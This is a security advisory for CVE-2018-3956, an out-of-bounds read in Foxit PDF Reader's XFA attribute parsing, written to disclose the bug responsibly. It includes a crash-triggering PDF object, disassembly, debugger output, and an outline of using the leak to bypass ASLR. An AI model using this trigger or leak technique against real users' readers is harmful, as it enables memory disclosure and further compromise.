CVE-2018-3956
An exploitable out-of-bounds read vulnerability exists in the handling of certain XFA element attributes of Foxit Software’s PDF Reader version 9.1.0.5096. A specially crafted PDF document can trigger an out-of-bounds read, which can disclose sensitive memory content and aid in exploitation when coupled with another vulnerability. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
Foxit Software PDF Reader 9.1.0.5096.
https://www.foxitsoftware.com/products/pdf-reader/
6.8 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:H
CWE-125: Out-of-bounds read
Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports XFA standards for interactive forms, which present an additional attack surface.
When parsing attributes of certain XFA tags, there exists a bug in the way length of a wide-char string is calculated. Specifically, when processing the following example:
25 0 obj <<
>>stream
<template>
<subform>
<event activity="docReady" >
<submit target="http://blah/" xdpContent="aaaaaaaaaAAAAAAAAA"></submit>
</event>
</subform>
</template>
endstream
endobj
In the above object, when the xdpContent
attribute is being parsed, the length of the string value needs to be calculated. The following code is responsible for doing so:
.text:0166C41C lea esi, [eax+2]
.text:0166C41F
.text:0166C41F loc_166C41F: ; CODE XREF: sub_166C406+22j
.text:0166C41F mov dx, [eax]
.text:0166C422 add eax, 2
.text:0166C425 test dx, dx
.text:0166C428 jnz short loc_166C41F
.text:0166C42A sub eax, esi
.text:0166C42C push ecx
.text:0166C42D sar eax, 1
In the above code, the string pointed to by esi
is treated as a wide-char string and is looped over in search of terminating NULL byte pair as indicated by test dx,dx
. At the end, the counted value in eax
is divided by two to get the string length. This is essentially an inlined version of the wcslen
function. In this particular case, the bug lies in the fact that the string isn’t NULL terminated. Rather, it’s preceded by a length field.
So, if the memory immediately following the actual string isn’t NULL, this loop will calculate a bigger value. This value is then subsequently used in memory allocation and string copy operations. This vulnerability can be caught with PageHeap enabled:
(1758.ec0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=12bdf000 ebx=00000000 ecx=12bdefd8 edx=12bdd0d0 esi=12bdefda edi=0012ac4c
eip=021dc41f esp=0012ac10 ebp=0012ac18 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210282
FoxitReader!CryptVerifyMessageSignature+0xb34b6f:
021dc41f 668b10 mov dx,word ptr [eax] ds:0023:12bdf000=????
0:000> db eax
12bdf000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:000> db eax-10
12bdeff0 41 00 41 00 41 00 41 00-41 00 41 00 d0 d0 d0 d0 A.A.A.A.A.A.....
12bdf000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:000> !heap -p -a eax-10
address 12bdeff0 found in
_DPH_HEAP_ROOT @ 75a1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
12de2e04: 12bdefd0 2c - 12bde000 2000
6a298e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77d861fe ntdll!RtlDebugAllocateHeap+0x00000030
77d4a0d3 ntdll!RtlpAllocateHeap+0x000000c4
77d158e0 ntdll!RtlAllocateHeap+0x0000023a
02b50252 FoxitReader!CryptVerifyMessageSignature+0x014a89a2
021da9a8 FoxitReader!CryptVerifyMessageSignature+0x00b330f8
021da7d4 FoxitReader!CryptVerifyMessageSignature+0x00b32f24
021daa86 FoxitReader!CryptVerifyMessageSignature+0x00b331d6
02511a1e FoxitReader!CryptVerifyMessageSignature+0x00e6a16e
02517b38 FoxitReader!CryptVerifyMessageSignature+0x00e70288
0:000> dd 12bdefd0
12bdefd0 00000000 00000024 00610061 00610061
12bdefe0 00610061 00610061 00410061 00410041
12bdeff0 00410041 00410041 00410041 d0d0d0d0
12bdf000 ???????? ???????? ???????? ????????
12bdf010 ???????? ???????? ???????? ????????
12bdf020 ???????? ???????? ???????? ????????
12bdf030 ???????? ???????? ???????? ????????
12bdf040 ???????? ???????? ???????? ????????
In the above debugger output, the process crashed while accessing memory just beyond the allocated chunk. We can see the full content of the chunk showing the string length and the fact that it isn’t null terminated.
With careful choice of the heap chunk size in which the string is located, the string size itself and careful memory layout control, this function can be tricked into accessing an adjacent heap chunk, returning a large size value and subsequently copying the contents of the adjacent chunk into another buffer. Coupled with accessing XFA elements and attributes through Javascript, this could be abused to leak heap and function pointers in order to bypass ASLR or other mitigations.
2018-07-20 - Vendor Disclosure
2019-01-03 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.